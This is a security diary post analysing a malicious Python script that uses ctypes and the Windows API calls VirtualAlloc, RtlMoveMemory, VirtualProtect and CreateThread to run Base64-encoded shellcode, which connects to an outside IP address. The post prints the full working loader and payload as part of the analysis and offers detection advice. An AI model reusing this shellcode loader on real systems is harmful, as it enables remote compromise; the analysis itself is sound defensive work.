Python and Risky Windows API Calls

Published: 2020-09-02
Last Updated: 2020-09-02 11:55:38 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

The Windows API is full of calls that are usually good indicators to guess the behavior of a script. In a previous diary, I wrote about some examples of "API call groups" that are clearly used together to achieve malicious activities[1]. If it is often used in PowerShell scripts, here is an interesting sample in Python that uses the same technique. It calls directly Windows API though 'ctypes'. 

As the documentation says: "ctypes[2] is a foreign function library for Python. It provides C compatible data types and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python".

The malicious script I found (SHA256:f832437e88d9f05fa1be0c883081c6a5e3331ff178bd62170b4005d6259b8290) has a VT score of 4/56[3] and uses the Windows API to create a threat and inject a shellcode:

import ctypes as bDFdFAVENAp
import base64
iVjgSKooAmZu = base64.b64decode("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmgDFGJ7aAIAMwCJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U=")
PIgkmEIUQFQZ = bDFdFAVENAp.windll.kernel32.VirtualAlloc(bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(len(iVjgSKooAmZu)),bDFdFAVENAp.c_int(0x3000),bDFdFAVENAp.c_int(0x04))
bDFdFAVENAp.windll.kernel32.RtlMoveMemory(bDFdFAVENAp.c_int(PIgkmEIUQFQZ),iVjgSKooAmZu,bDFdFAVENAp.c_int(len(iVjgSKooAmZu)))
FlvQCImqSrd = bDFdFAVENAp.windll.kernel32.VirtualProtect(bDFdFAVENAp.c_int(PIgkmEIUQFQZ),bDFdFAVENAp.c_int(len(iVjgSKooAmZu)),bDFdFAVENAp.c_int(0x20),bDFdFAVENAp.byref(bDFdFAVENAp.c_uint32(0)))
GZfUkqLLVTJWYM = bDFdFAVENAp.windll.kernel32.CreateThread(bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(PIgkmEIUQFQZ),bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(0),bDFdFAVENAp.pointer(bDFdFAVENAp.c_int(0)))
bDFdFAVENAp.windll.kernel32.WaitForSingleObject(bDFdFAVENAp.c_int(GZfUkqLLVTJWYM),bDFdFAVENAp.c_int(-1))

The shellcode has Base64-encoded and is executed via the classic trio:

  • VirtualAlloc - we allocate some memory for the shellcode.
  • RtlMoveMemory - we copy the shellcode into the allocated memory.
  • VirtualProtect - because the memory contains executable code, the flag PAGE_EXECUTE_READ (0x20) is applied on the memory zone.
  • CreatedThread - we created the new threat. Note the fifth argument (NULL) which means that the thread runs immediately after creation.
  • WaitForSingleObject - we need this to continue processing.

The shellcode is simple and tries to connect to an IP address: 3.20.98.123.

To conclude: "import ctypes" is a good indicator of suspicious activity in Python scripts running on Windows operating systems!

[1] https://isc.sans.edu/forums/diary/Malware+Triage+with+FLOSS+API+Calls+Based+Behavior/26156
[2] https://docs.python.org/3/library/ctypes.html
[3] https://www.virustotal.com/gui/file/f832437e88d9f05fa1be0c883081c6a5e3331ff178bd62170b4005d6259b8290/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

2 comment(s)

Comments

"uses the Windows API to create a threat and inject a shellcode"

Create a threa*d* and inject shellcode perhaps?
It has been fixed in the meantime. Tx! Nice funny typo!

Diary Archives